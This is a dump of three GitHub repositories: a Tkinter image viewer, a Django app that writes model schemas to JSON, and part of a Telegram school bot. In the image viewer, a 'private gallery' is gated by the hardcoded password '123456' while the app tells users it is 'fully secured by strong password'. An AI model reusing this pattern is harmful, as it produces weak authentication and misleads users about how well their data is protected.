6d23fce6a479ca28616919713a306f3d62b2d84f
78bb1151983b955302de8ba744300f273492fc21
b329579502fba6e054db9fe15338ffb1e0824ee8
refs/heads/main
2022-12-20T02:09:49.425355
2020-10-29T02:43:15
2020-10-29T02:43:15
308,195,470
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7685950398445129, "alphanum_fraction": 0.7685950398445129, "avg_line_length": 39.33333206176758, "blob_id": "f1755a729b30483649c892bd059f3ea59097de08", "content_id": "d794d4fda89344eb990114b26a342e9c7c3bcd38", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 121, "license_type": "no_license", "max_line_length": 104, "num_lines": 3, "path": "/README.md", "repo_name": "ankit755/Image-Viewer", "src_encoding": "UTF-8", "text": "# Image-Viewer\n\nto Properly execute the code You need to make sure that all the images and .py file are in a same folder\n" }, { "alpha_fraction": 0.586778998374939, "alphanum_fraction": 0.6023481488227844, "avg_line_length": 40.440433502197266, "blob_id": "ff3d7cc29443b4b8fbc1d0df25af23df3e906cdf", "content_id": "f5e1449d3edcf3da257e54934b0bf00cd912f575", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11754, "license_type": "no_license", "max_line_length": 166, "num_lines": 277, "path": "/Image Veiwer.py", "repo_name": "ankit755/Image-Viewer", "src_encoding": "UTF-8", "text": "import tkinter\r\nfrom tkinter import *\r\nfrom tkinter import messagebox\r\nfrom PIL import ImageTk, Image\r\n\r\nr=tkinter.Tk()\r\nr.title( \" Image Viewer\")\r\nr.iconbitmap('favicon.ico')\r\nr.minsize(150, 150)\r\nr.maxsize(1000, 650)\r\n\r\ndef nextImg(imgNumber):\r\n global status\r\n global imageLabel\r\n global nextButton\r\n global backButton\r\n global bottomFrame\r\n bottomFrame.forget()\r\n bottomFrame = tkinter.Frame(r, bg=\"grey\", borderwidth=8, relief=SUNKEN)\r\n imageLabel.forget()\r\n imageLabel = Label(imageFrame, image=image_list[imgNumber])\r\n\r\n nextButton = Button(bottomFrame,font= \"verdana\",text='NEXT',command=lambda: nextImg(imgNumber+1))\r\n backButton.forget()\r\n backButton = Button(bottomFrame,font= \"verdana\", text=\"BACK\",command = lambda: backward(imgNumber-1))\r\n exitButton = Button(bottomFrame,font= \"verdana\", text=\"Exit \", command=r.quit)\r\n if imgNumber == 4:\r\n nextButton = Button(bottomFrame, text=\"Next\", state=DISABLED)\r\n exitButton.pack(ipadx=15,side=BOTTOM,expand = True,fill = BOTH)\r\n bottomFrame.pack(side=BOTTOM, fill=\"x\")\r\n backButton.pack(side=LEFT,expand = True, fill = BOTH)\r\n nextButton.pack(ipadx=18, side=RIGHT,expand = True, fill = BOTH)\r\n imageLabel.pack()\r\n status.forget()\r\n status = Label(imageFrame,font= \"family\",bg=\"light green\"\r\n ,fg=\"black\", text=\"Image \"+str(imgNumber+1) + \" of \"+\r\n str(len(image_list)) + str(\" \"), relief=SUNKEN, anchor=E)\r\n status.pack(side=BOTTOM, expand=True, fill=BOTH)\r\n\r\n\r\n return\r\n\r\ndef backward(x):\r\n global imageLabel\r\n global nextButton\r\n global backButton\r\n global imgNumber\r\n global bottomFrame\r\n global status\r\n bottomFrame.forget()\r\n bottomFrame = tkinter.Frame(r, bg=\"grey\", borderwidth=8, relief=SUNKEN)\r\n imageLabel.forget()\r\n imageLabel = Label(imageFrame, image=image_list[x])\r\n\r\n\r\n nextButton = Button(bottomFrame,font= \"verdana\", text=\"NEXT\", command=lambda: nextImg(x + 1))\r\n backButton = Button(bottomFrame,font= \"verdana\", text=\"BACK\", command=lambda: backward(x - 1))\r\n exitButton = Button(bottomFrame,font= \"verdana\", text=\"Exit \",command=r.quit)\r\n if x == 0:\r\n backButton = Button(bottomFrame, text=\"back\", state=DISABLED)\r\n exitButton.pack(ipadx=15,side=BOTTOM,expand = True,fill = BOTH)\r\n bottomFrame.pack(side=BOTTOM, fill=\"x\")\r\n backButton.pack(side=LEFT,expand = True, fill = BOTH)\r\n nextButton.pack(ipadx=18, side=RIGHT,expand = True, fill = BOTH)\r\n imageLabel.pack()\r\n\r\n status.forget()\r\n status = Label(imageFrame,font= \"family\", bg=\"light green\",fg=\"black\",text=\"Image \" + str(x+1) +\r\n \"of \" + str(len(image_list)) + str(\" \"),\r\n relief=SUNKEN, anchor=E)\r\n status.pack(side=BOTTOM, expand=True, fill=BOTH)\r\n\r\n return\r\n\r\ndef PrivateGallery():\r\n r.iconify()\r\n global pexitButton\r\n global pdeleteButton\r\n global pPublicButton\r\n global pbottomFrame\r\n global pimageLabel\r\n global pnextButton\r\n global pbackButton\r\n\r\n\r\n p = tkinter.Toplevel()\r\n p.title(\" private gallery\")\r\n p.iconbitmap('favicon.ico')\r\n p.minsize(150, 150)\r\n p.maxsize(1300, 650)\r\n\r\n\r\n\r\n def forward(imgPos):\r\n global currentStatus\r\n global pimageLabel\r\n global pnextButton\r\n global pbackButton\r\n global pbottomFrame\r\n global pexitButton\r\n\r\n pbottomFrame.forget()\r\n pbottomFrame = tkinter.Frame(p, bg=\"grey\", borderwidth=8, relief=SUNKEN)\r\n pimageLabel.forget()\r\n pimageLabel = Label(pimageFrame, image=pimage_list[imgPos])\r\n\r\n pnextButton = Button(pbottomFrame,font= \"verdana\", text='NEXT', command=lambda: forward(imgPos + 1))\r\n pbackButton.forget()\r\n pbackButton = Button(pbottomFrame,font= \"verdana\", text=\"BACK\", command=lambda: back(imgPos - 1))\r\n pexitButton = Button(pbottomFrame,font= \"verdana\", text=\"Exit \", command=p.quit)\r\n if imgPos == 1:\r\n pnextButton = Button(pbottomFrame,font= \"verdana\", text=\"next\", state=DISABLED)\r\n\r\n\r\n\r\n\r\n pexitButton.pack(ipadx=15,side=BOTTOM,expand = True,fill = BOTH)\r\n pbottomFrame.pack(side=BOTTOM, fill=\"x\")\r\n pbackButton.pack(side=LEFT,expand = True, fill = BOTH)\r\n pnextButton.pack(ipadx=18, side=RIGHT,expand = True, fill = BOTH)\r\n pimageLabel.pack()\r\n\r\n currentStatus.forget()\r\n currentStatus = Label(pimageFrame, font=\"family\", bg=\"light green\", fg=\"black\", text=\"Image \" + str(imgPos + 1) + \" of \" + str(len(pimage_list)) + str(\" \"),\r\n relief=SUNKEN, anchor=E)\r\n currentStatus.pack(side=BOTTOM, expand=True, fill=BOTH)\r\n\r\n\r\n\r\n return\r\n\r\n def back(imgPos1):\r\n global currentStatus\r\n global pimageLabel\r\n global pnextButton\r\n global pbackButton\r\n global pbottomFrame\r\n global pexitButton\r\n\r\n pbottomFrame.forget()\r\n pbottomFrame = tkinter.Frame(p, bg=\"grey\", borderwidth=8, relief=SUNKEN)\r\n pimageLabel.forget()\r\n pimageLabel = Label(pimageFrame, image=pimage_list[imgPos1])\r\n\r\n pnextButton = Button(pbottomFrame,font= \"verdana\", text='NEXT', command=lambda: forward(imgPos1 + 1))\r\n pbackButton.forget()\r\n pbackButton = Button(pbottomFrame,bd= 5,font= \"verdana\", text=\"BACK\", command=lambda: back(imgPos1 - 1))\r\n pexitButton = Button(pbottomFrame,bd= 5,font= \"verdana\", text=\"Exit \", command=p.quit)\r\n if imgPos1 == 0:\r\n pbackButton = Button(pbottomFrame,font= \"verdana\", text=\"back\", state=DISABLED)\r\n\r\n pexitButton.pack(ipadx=15,side=BOTTOM,expand = True,fill = BOTH)\r\n pbottomFrame.pack(side=BOTTOM, fill=\"x\")\r\n pbackButton.pack(side=LEFT,expand = True, fill = BOTH)\r\n pnextButton.pack(ipadx=18, side=RIGHT,expand = True, fill = BOTH)\r\n pimageLabel.pack()\r\n\r\n currentStatus.forget()\r\n currentStatus = Label(pimageFrame,font= \"family\",\r\n text=\"Image \" + str(imgPos1+1) + \"of \" + str(len(pimage_list)) + str(\" \"),\r\n relief=SUNKEN, anchor=E)\r\n currentStatus.pack(side=BOTTOM, expand=True, fill=BOTH)\r\n\r\n return\r\n\r\n def gotoPublic():\r\n global e1\r\n e1.delete(0,END)\r\n p.destroy()\r\n r.deiconify()\r\n return\r\n def about():\r\n messagebox.showinfo(\"INFO\", \"This is a private gallery which is fully secured by strong password\")\r\n return\r\n\r\n pleftFrame = tkinter.Frame(p,bg=\"#39FF14\", borderwidth=6, relief=SUNKEN)\r\n pleftFrame.pack(side=LEFT, fill=\"y\")\r\n pPublicButton = Button(pleftFrame,bg=\"light blue\",fg=\"black\",font= \"algerian\", text=\"Public Gallery\",command = gotoPublic).pack(fill=X)\r\n pabout = Button(pleftFrame,bg=\"light blue\",font= \"family\", text=\"About Private Gallery\",command= about).pack(pady=10, fill=X)\r\n # ------------------------------------- PRIVATE IMAGE FRAME-------------------------------------------------------------------------------------------\r\n\r\n pimageFrame = Frame(p)\r\n pimageFrame.pack(side=TOP, fill=Y)\r\n pmy_img1 = ImageTk.PhotoImage(Image.open(\"P IMG 1.jpg\"))\r\n pmy_img2 = ImageTk.PhotoImage(Image.open(\"P IMG 2.jpg\"))\r\n\r\n pimage_list = [pmy_img1, pmy_img2]\r\n\r\n pimageLabel = Label(pimageFrame, image=pmy_img1)\r\n pimageLabel.pack()\r\n\r\n currentStatus = Label(pimageFrame, bg=\"light blue\", font=\"family\",\r\n text=\"Image 1 of \" + str(len(pimage_list)) + str(\" \"),\r\n relief=SUNKEN, anchor=E)\r\n currentStatus.pack(side=BOTTOM, expand=True, fill=BOTH)\r\n\r\n # --------------------------------------BOTTOM FRAME-----------------------------------------------------------------------------------------\r\n pbottomFrame = tkinter.Frame(p, bg=\"grey\", borderwidth=8, relief=SUNKEN)\r\n pbottomFrame.pack(side=BOTTOM, fill=\"x\")\r\n pexitButton = Button(pbottomFrame,font= \"verdana\" ,text=\"Exit \", command=p.quit)\r\n pexitButton.pack(ipadx=15,side=BOTTOM,expand = True,fill = BOTH)\r\n pbackButton = Button(pbottomFrame,font= \"verdana\", text=\"BACK\", command=back)\r\n pbackButton.pack(side=LEFT,expand = True, fill = BOTH)\r\n pnextButton = Button(pbottomFrame,font= \"verdana\", text=\"Next\", command=lambda : forward(1))\r\n pnextButton.pack(ipadx=18, side=RIGHT,expand = True, fill = BOTH)\r\n p.mainloop()\r\n return\r\n\r\ndef passwdCheck():\r\n passwd=e1.get()\r\n z='123456'\r\n if passwd==z:\r\n PrivateGallery()\r\n else:\r\n e1.delete(0,END)\r\n messagebox.showerror(\"INFO\",\"Incorrect Password !\")\r\n return\r\n\r\ndef aboutus():\r\n a = tkinter.Tk()\r\n a.title(\" Image Viewer\")\r\n a.iconbitmap('favicon.ico')\r\n a.minsize(200,200)\r\n\r\n line1Label = Label(a,font= \"algerian\",text= \" IMAGE VIEWER \").pack(\r\n\r\n\r\n )\r\n line2Label = Label(a,font= \"algerian\", text=\" version 2.20.195.15 \").pack()\r\n line3Label = Label(a,font= \"algerian\",text=\" copyright 2019-2020 Massive Dynamics Inc\"\r\n \".\").pack()\r\n return\r\n\r\ndef contactus():\r\n messagebox.showinfo(\"CONTACT US\", \"QUESTIONS ? NEED HELP ?\"\r\n \"Connect to us through Email:[email protected] call us:- 7470935655\"\r\n )\r\n return\r\n#--------------------------------------LEFT FRAME------------------------------------------------------------------------------------------\r\nleftFrame=tkinter.Frame(r,bg=\"light blue\",borderwidth=6,relief = SUNKEN)\r\nleftFrame.pack(side=LEFT,fill=\"y\")\r\nlabel=Label(leftFrame,bd= 5,font= \"ALGERIAN\",text=\"Private Gallery\").pack(fill=X)\r\nlabel1=Label(leftFrame,bd= 5,font= \"family\",text=\"Enter Password\").pack(pady=2,fill=X)\r\ne1= Entry(leftFrame,width=15,borderwidth=5)\r\ne1.pack(pady=5,)\r\nprivateButton = Button(leftFrame,bd= 5,font= \"verdana \"\r\n ,bg=\"white\",text=\"submit\",command=passwdCheck).pack(pady=0,fill=X)\r\naboutButton = Button(leftFrame,bd= 5,bg=\"white\",font= \"Verdana\",text=\"About\",command=aboutus).pack(pady=10,fill=X)\r\ncontactUsButton = Button(leftFrame,bg=\"white\",bd= 5,font= \"Verdana\",text=\"Contact Us\",command=contactus).pack(pady=5,fill=X)\r\n#-------------------------------------IMAGE FRAME-------------------------------------------------------------------------------------------\r\n\r\nimageFrame=Frame(r,bg=\"Moccasin\")\r\nimageFrame.pack(side=TOP,fill=Y)\r\nmy_img1 = ImageTk.PhotoImage(Image.open(\"IMG 1.jpg\"))\r\nmy_img2 = ImageTk.PhotoImage(Image.open(\"IMG 2.png\"))\r\nmy_img3 = ImageTk.PhotoImage(Image.open(\"IMG 3.jpg\"))\r\nmy_img4 = ImageTk.PhotoImage(Image.open(\"IMG 4.jpg\"))\r\nmy_img5 = ImageTk.PhotoImage(Image.open(\"IMG 5.jpg\"))\r\n\r\nimage_list = [my_img1,my_img2,my_img3,my_img4,my_img5]\r\n\r\nstatus = Label(imageFrame,bg=\"#33FF00\",fg=\"black\",font= \"family\", text= \"Image 1 of \" +str(len(image_list))+str(\" \"),\r\n relief = SUNKEN,anchor=E)\r\nstatus.pack(side = BOTTOM, expand = True, fill = BOTH)\r\nimageLabel=Label(imageFrame,image=my_img1)\r\nimageLabel.pack()\r\n\r\n#--------------------------------------BOTTOM FRAME-----------------------------------------------------------------------------------------\r\nbottomFrame = tkinter.Frame(r,bg=\"Moccasin\",borderwidth=8,relief=SUNKEN)\r\nbottomFrame.pack(side=BOTTOM,fill=\"x\")\r\nexitButton: None = Button(bottomFrame,bg=\"white\",font= \"Verdana\",text= \"Exit \",command = r.quit).pack(ipadx=15,side=BOTTOM,expand = True, fill = BOTH)\r\nbackButton = Button(bottomFrame,font= \"Verdana\",bg=\"white\",text= \"BACK\",command=backward)\r\nbackButton.pack(side=LEFT ,expand = True, fill = BOTH)\r\nnextButton = Button(bottomFrame,bg=\"white\",font= \"Verdana\",text= \"Next\",command = lambda:nextImg(1))\r\nnextButton.pack(ipadx=18,side=RIGHT, expand = True, fill = BOTH)\r\n\r\nr.mainloop()" } ]
2
NiReaS68/django-json-schema-generator
https://github.com/NiReaS68/django-json-schema-generator
97b11a4e6f43edeca389a959d16150646696957a
843ce34c9d812500d77ed4b5ce7bb5bc550ae6df
d391dce8063c06c9f21e433855a3aa37fc43bb4e
refs/heads/main
2023-08-31T20:29:21.701412
2021-10-29T20:45:17
2021-10-29T20:45:17
421,023,532
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6105610728263855, "alphanum_fraction": 0.6165792942047119, "avg_line_length": 37.155555725097656, "blob_id": "7b325b5665dbccbda63f3da652e6dce4f1b2b34c", "content_id": "e9a5b4c911601b283fb4e31af842eb007e0b46eb", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5151, "license_type": "permissive", "max_line_length": 79, "num_lines": 135, "path": "/json_schema_generator/tests.py", "repo_name": "NiReaS68/django-json-schema-generator", "src_encoding": "UTF-8", "text": "import uuid\n\nfrom django.apps import apps\nfrom django.db import models\nfrom django.test import TestCase, override_settings\nfrom django.utils import timezone\nfrom pathlib import Path\n\nfrom .apps import JsonSchemaGeneratorConfig\nfrom .schemas import Schema\n\n\nAPP_TO_INSTALL = [\n 'json_schema_generator.apps.JsonSchemaGeneratorConfig',\n]\nAPP_NAME = JsonSchemaGeneratorConfig.name\nPATH_TEST = '/tmp'\nFILENAME = 'django_schema.json'\n\n\n# -- Define Models for tests only ---------------\nclass ModelA(models.Model):\n name = models.CharField('Name', max_length=150, null=False, blank=False)\n\n\nclass ModelB(models.Model):\n number = models.IntegerField('Number', null=False, blank=False)\n\n\nclass SimpleModel(models.Model):\n id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)\n char = models.CharField('Char', max_length=100, null=False, blank=False)\n integer = models.IntegerField('Integer', null=False, blank=False)\n boolean = models.BooleanField('Boolean', default=True,\n null=False, blank=False)\n text_nullable = models.TextField('Text', null=True, blank=False)\n date_creation = models.DateTimeField('Creation date',\n default=timezone.now,\n null=False, blank=False)\n\n\nclass RefModel(models.Model):\n one_to_one = models.OneToOneField(ModelA, on_delete=models.CASCADE)\n foreign_key = models.ForeignKey(SimpleModel, on_delete=models.CASCADE,\n related_name='fks',\n null=False, blank=False)\n many_to_many = models.ManyToManyField(ModelB, blank=True)\n# -----------------------------------------------\n\n\nclass SchemaTest(TestCase):\n @override_settings(INSTALLED_APPS=APP_TO_INSTALL)\n def test_get_app_configs(self):\n app_configs = list(apps.get_app_configs())\n self.assertEqual(len(app_configs), 1)\n self.assertEqual(app_configs[0].name, APP_NAME)\n\n @override_settings(INSTALLED_APPS=APP_TO_INSTALL)\n def test_get_apps(self):\n res = Schema().get_apps()\n self.assertEqual(len(res), 1)\n self.assertEqual(res[0]['application'], APP_NAME)\n self.assertGreater(len(res[0]['models']), 1)\n\n @override_settings(INSTALLED_APPS=APP_TO_INSTALL)\n def test_get_models(self):\n app = apps.get_app_config(APP_NAME)\n res = Schema().get_models(app)\n self.assertEqual(\n set(['ModelA', 'ModelB', 'SimpleModel', 'RefModel']),\n set([model['name'] for model in res])\n )\n\n def test_get_fields(self):\n model = SimpleModel()\n res = Schema().get_fields(model)\n self.assertEqual(\n set(['id', 'char', 'integer', 'boolean', 'text_nullable',\n 'date_creation', 'fks']),\n set([field['name'] for field in res])\n )\n\n def test_primary_key(self):\n model = SimpleModel()\n res = Schema().get_fields(model)\n all_primary_keys = [field['name'] for field in res\n if 'primary_key' in field]\n self.assertEqual(len(all_primary_keys), 1)\n self.assertEqual(all_primary_keys[0], 'id')\n\n def test_nullable(self):\n model = SimpleModel()\n res = Schema().get_fields(model)\n all_nullable = [field['name'] for field in res\n if 'relation' not in field and field['nullable']]\n self.assertEqual(len(all_nullable), 1)\n self.assertEqual(all_nullable[0], 'text_nullable')\n\n def test_max_length(self):\n model = ModelA()\n res = Schema().get_fields(model)\n all_max_length = [field for field in res if 'max_length' in field]\n self.assertEqual(len(all_max_length), 1)\n self.assertEqual(all_max_length[0]['name'], 'name')\n self.assertEqual(all_max_length[0]['max_length'], 150)\n\n def test_default_value(self):\n model = SimpleModel()\n res = Schema().get_fields(model)\n all_default = [field for field in res if 'default' in field]\n self.assertEqual(len(all_default), 1)\n self.assertEqual(all_default[0]['name'], 'boolean')\n self.assertEqual(all_default[0]['default'], True)\n\n def test_default_func(self):\n model = SimpleModel()\n res = Schema().get_fields(model)\n all_default_func = [field for field in res if 'default_func' in field]\n self.assertEqual(len(all_default_func), 2)\n self.assertEqual(all_default_func[0]['name'], 'id')\n self.assertEqual(all_default_func[0]['default_func'], 'uuid.uuid4()')\n\n def test_get_relation(self):\n model = RefModel()\n res = Schema().get_fields(model)\n all_relations = [field for field in res if 'relation' in field]\n self.assertEqual(len(all_relations), 3)\n\n @override_settings(SCHEMA_GENERATOR_DIRECTORY=PATH_TEST)\n @override_settings(SCHEMA_GENERATOR_FILENAME=FILENAME)\n def test_file_creation_after_generate(self):\n Schema().generate()\n path_file = Path(PATH_TEST) / Path(FILENAME)\n self.assertTrue(path_file.exists())\n path_file.unlink()\n" }, { "alpha_fraction": 0.7054263353347778, "alphanum_fraction": 0.7054263353347778, "avg_line_length": 24.799999237060547, "blob_id": "673f07689aaaf719de5a06f364efae699cb32298", "content_id": "7a777d6ae992c3f60f056f9b4a7b485fea9da71e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 258, "license_type": "permissive", "max_line_length": 56, "num_lines": 10, "path": "/json_schema_generator/apps.py", "repo_name": "NiReaS68/django-json-schema-generator", "src_encoding": "UTF-8", "text": "from django.apps import AppConfig\n\n\nclass JsonSchemaGeneratorConfig(AppConfig):\n default_auto_field = 'django.db.models.BigAutoField'\n name = 'json_schema_generator'\n\n def ready(self):\n from .schemas import Schema\n Schema().generate()\n" }, { "alpha_fraction": 0.5200932025909424, "alphanum_fraction": 0.5200932025909424, "avg_line_length": 32.66666793823242, "blob_id": "66cad588311ffd37af10d04b88926d7b1f3a66ed", "content_id": "a90ba248b981466ab4d6ebd28ea036547c720690", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3434, "license_type": "permissive", "max_line_length": 77, "num_lines": 102, "path": "/json_schema_generator/schemas.py", "repo_name": "NiReaS68/django-json-schema-generator", "src_encoding": "UTF-8", "text": "import json\nfrom django.apps import apps\nfrom django.conf import settings\nfrom pathlib import Path\n\n\nclass Schema(object):\n def __init__(self, *args, **kwargs):\n self.schema = []\n\n def generate(self, save_file=True):\n \"\"\"\n Entry point for the schema generator\n \"\"\"\n self.schema = self.get_apps()\n if save_file:\n self.write_file()\n\n def get_apps(self):\n \"\"\"\n Return the list of all installed applications with all models\n \"\"\"\n app_list = []\n for app in apps.get_app_configs():\n app_list.append({\n 'application': app.name,\n 'models': self.get_models(app)\n })\n return app_list\n\n def get_models(self, app):\n \"\"\"\n Return the models list in the application with some options and\n all fields\n \"\"\"\n model_list = []\n for model in app.get_models():\n model_list.append({\n 'name': model.__name__,\n 'db_table': model._meta.db_table,\n 'fields': self.get_fields(model),\n })\n return model_list\n\n def get_fields(self, model):\n \"\"\"\n Return the list of all fields in the model with some options\n into a dict\n \"\"\"\n field_list = []\n for field in model._meta.get_fields():\n options = {\n 'name': field.name,\n 'django_type': field.get_internal_type(),\n 'nullable': field.null,\n }\n if hasattr(field, 'max_length') and field.max_length:\n options['max_length'] = field.max_length\n if hasattr(field, 'primary_key') and field.primary_key:\n options['primary_key'] = field.primary_key\n if hasattr(field, 'has_default') and field.has_default():\n if hasattr(field.default, '__call__'):\n options['default_func'] = (f\"{field.default.__module__}.\"\n f\"{field.default.__name__}()\")\n else:\n options['default'] = field.default\n\n if field.is_relation:\n options['relation'] = self.get_relation(field)\n\n field_list.append(options)\n return field_list\n\n def get_relation(self, field):\n \"\"\"\n Return the dict of the relation options of the field\n \"\"\"\n # TODO: add field.through._meta.db_table for many_to_many relation\n return {\n 'one_to_one': field.one_to_one,\n 'one_to_many': field.one_to_many,\n 'many_to_one': field.many_to_one,\n 'many_to_many': field.many_to_many,\n }\n\n def write_file(self):\n \"\"\"\n TODO: add format choices, the yaml format for example, but change the\n app name for more coherence (remove \"json\"). It can be a parameter\n of this method or a new setting:\n getattr(settings, 'SCHEMA_GENERATOR_FORMAT', 'json')\n \"\"\"\n directory = getattr(settings, 'SCHEMA_GENERATOR_DIRECTORY',\n str(Path.cwd()))\n filename = getattr(settings, 'SCHEMA_GENERATOR_FILENAME',\n '.forestadmin-schema.json')\n path = str(Path(directory) / Path(filename))\n\n with open(path, 'w') as f:\n json.dump(self.schema, f)\n\n # TODO get_constraints(self, field)\n" }, { "alpha_fraction": 0.6045072078704834, "alphanum_fraction": 0.6077265739440918, "avg_line_length": 28.47445297241211, "blob_id": "223b6c7107b8923620c94b3a55eda90c8c3bd178", "content_id": "b66250254ce4ef1b34c12cd868f81ca75880446a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4038, "license_type": "permissive", "max_line_length": 238, "num_lines": 137, "path": "/README.md", "repo_name": "NiReaS68/django-json-schema-generator", "src_encoding": "UTF-8", "text": "# django-json-schema-generator\n\nThis app describes all models and fields on your project and generates a json file of the project schema on startup.\n\n# Documentation\n## How to use it ?\n\n### Requirements\n\n* Python >= 3.6\n* Django >= 3.0\n* A Django project\n\n### Installation\n\n1. Download the package or build from the source:\n\n```sh\npython setup.py sdist\n```\n\n*You can find the package into the `dist` directory.*\n\n2. Install the package in your project. For example with `pip`\n\n```sh\npython -m pip install django-json-schema-generator-X.Y.tar.gz\n````\n\n3. To finish, add this app in your Django project\n\n```python\nINSTALLED_APPS = [\n ...,\n json_schema_generator\n]\n```\n\nThis app is now installed and the file generation will do on your Django project startup. \n\n### Configuration\n\nYou can set some options:\n\n* **`SCHEMA_GENERATOR_DIRECTORY`**: Set the folder of the generated file *(default: at the root of the Django project)*\n* **`SCHEMA_GENERATOR_FILENAME`**: Set the generated filename *(default: .forestadmin-schema.json)*\n\n## How to read the schema file ?\n\nThe generated schema file is composed of the list of the all installed apps in your Django project. For each Django app you can find the list of models with some options and for each model you can find the list of fields and some options.\n\n### File structure\n\n* **`Root`**: a list of `App` object\n* **`App`**\n * **application**: app name\n * **models**: a list of `Model` object\n* **`Model`**\n * **name**: model name \n * **db_table**: the name of database table\n * **fields**: list of `Field` object\n* **`Field`**\n * **name**: field name\n * **django_type**: Django type of the field\n * **nullable**: it defines if it's nullable field or not\n * **max_length**: *[occasional]* it defines the max length of the field\n * **primary_key**: *[occasional]* it defines if it's the primary key field\n * **default**: *[occasional]* it defines the static default value\n * **default_func**: *[occasional]* it defines the method which used for the default value\n * **relation**: *[occasional]* a `Relation` object if it's a relation field\n* **`Relation`**\n * **one_to_one**: it defines if it's an one_to_one relation\n * **one_to_many**: it defines if it's an one_to_many relation\n * **many_to_one**: it defines if it's a many_to_one relation\n * **many_to_many**: it defines if it's a many_to_many relation\n\n### An example\n```json\n[\n{\n \"application\": \"my_app\",\n \"models\": [\n {\n \"name\": \"MyModel\",\n \"db_table\": \"my_app_mymodel\",\n \"fields\": [\n {\n \"name\": \"id\",\n \"django_type\": \"UUIDField\",\n \"nullable\": false,\n \"max_length\": 32,\n \"primary_key\": true,\n \"default_func\": \"uuid.uuid4()\"\n },\n {\n \"name\": \"name\",\n \"django_type\": \"CharField\",\n \"nullable\": false,\n \"max_length\": 150\n },\n {\n \"name\": \"activate\",\n \"django_type\": \"BooleanField\",\n \"nullable\": false,\n \"default\": true\n },\n {\n \"name\": \"many_to_many\",\n \"django_type\": \"ManyToManyField\",\n \"nullable\": false,\n \"relation\":\n {\n \"one_to_one\": false,\n \"one_to_many\": false,\n \"many_to_one\": false,\n \"many_to_many\": true\n }\n }]\n },\n ]\n},\n]\n```\n\n\n### *TODO: what is missing ?*\n\n* Add database type: convert the Django field to the database field\n* Add more file formats for the generated file (example: yaml)\n* Add more properties for the field relation: like the reference of field and the database table used for the ManyToManyField\n* Add more tests\n* Add the possibility to escape the Django apps introspection (admin, auth, ...)\n* Add debug/info log messages (with statistics for example)\n* Add the indexes management\n* Add the constraints management\n* Add the abstract model management\n* Add the proxy model management\n" } ]
4
oShadow05/TelegramSchoolBot
https://github.com/oShadow05/TelegramSchoolBot
21633cdc2470edefbc449f9fcc0a34ed826610bc
497be4530f190302de873c8bc0027c01aca73bf4
fe28e79b835a9e85a6e741fc6084004ee2493fc0
refs/heads/master
2018-01-01T04:45:34.455253
2017-09-14T17:37:02
2017-09-14T17:37:02
69,150,218
0
0
null
2016-09-25T07:36:20
2016-09-19T18:35:43
2016-09-23T14:01:10
null
[ { "alpha_fraction": 0.6286246180534363, "alphanum_fraction": 0.6397978067398071, "avg_line_length": 27.05223846435547, "blob_id": "9fd5b02f726317f476863f7b30c57312101139ac", "content_id": "2d6c019542bd4711c447606e8dd866b1bd1e8f2f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3759, "license_type": "permissive", "max_line_length": 121, "num_lines": 134, "path": "/telegramschoolbot/utils.py", "repo_name": "oShadow05/TelegramSchoolBot", "src_encoding": "UTF-8", "text": "\"\"\"\nInteract with your school website with telegram!\n\nCopyright (c) 2016-2017 Paolo Barbolini <[email protected]>\nReleased under the MIT license\n\"\"\"\n\nfrom sqlalchemy import func\nfrom bs4 import BeautifulSoup\nfrom datetime import datetime\nfrom urllib.parse import urlparse\nimport urllib\n\nimport hashlib\nimport os\nimport requests\nimport subprocess\n\n\nREQUESTS_HEADERS = {\n \"User-Agent\": \"Mozilla/5.0 (compatible; TelegramSchoolBot/2.0; +https://github.com/paolobarbolini/TelegramSchoolBot)\"\n}\n\n\ndef md5(text):\n return hashlib.md5(text.encode(\"utf-8\")).hexdigest()\n\n\ndef send_cached_photo(bot, message, file_id, caption):\n args = {\n \"chat_id\": message.chat.id,\n \"reply_to_message_id\": message.message_id,\n \"photo\": file_id,\n \"caption\": caption,\n }\n bot.api.call(\"sendPhoto\", args)\n\n\ndef prettify_page(page_url, html):\n parsed_html = BeautifulSoup(html, \"html.parser\")\n\n # Find all images\n for img in parsed_html.find_all(\"img\"):\n img[\"src\"] = urllib.parse.urljoin(page_url, img[\"src\"])\n\n # Remove the default styles\n for p in parsed_html.find_all(\"style\"):\n p.decompose()\n\n # Custom css\n custom_style = parsed_html.new_tag(\"style\")\n custom_style.string = \"\"\"\n * {\n font-weight: bold;\n text-decoration: none;\n text-transform: uppercase;\n font-family: 'Designosaur';\n font-size: 12pt;\n }\n\n .nodecBlack {\n color: #000000;\n }\n\n .nodecWhite {\n color: #FFFFFF;\n }\n \"\"\"\n parsed_html.html.head.contents.insert(0, custom_style)\n\n # Remove text outsite the table\n for p in parsed_html.select('center p[class=\"mathema\"]'):\n p.decompose()\n\n # Remove big empty rows\n for p in parsed_html.select('center p[id=\"mathema\"]'):\n p.decompose()\n\n return str(parsed_html)\n\n\ndef send_page(db, bot, message, page, caption):\n # Did we check if the page changed in the last hour?\n if page.last_check is not None and (datetime.now() - page.last_check).seconds < 3600:\n send_cached_photo(bot, message, page.last_file_id, caption)\n return\n\n response = requests.get(page.url, headers=REQUESTS_HEADERS)\n if response.status_code != 200:\n raise ValueError(\"Got %i from %s\" % (response.status_code, page.url))\n\n session = db.Session()\n session = session.object_session(page)\n session.add(page)\n\n body_md5 = md5(response.text)\n if page.last_hash == body_md5:\n # The page didn't change, send a cached photo and update the last_check\n send_cached_photo(bot, message, page.last_file_id, caption)\n\n page.last_check = func.now()\n session.commit()\n return\n\n # The page did change, prepare the html file for wkhtmltoimage\n html_path = \"/tmp/tsb-body-%s.html\" % body_md5\n prettified_body = prettify_page(page.url, response.text)\n with open(html_path, \"w\") as f:\n f.write(prettified_body)\n\n # Render the html file into a jpeg image (png is a waste because telegram compresses the image)\n image_path = 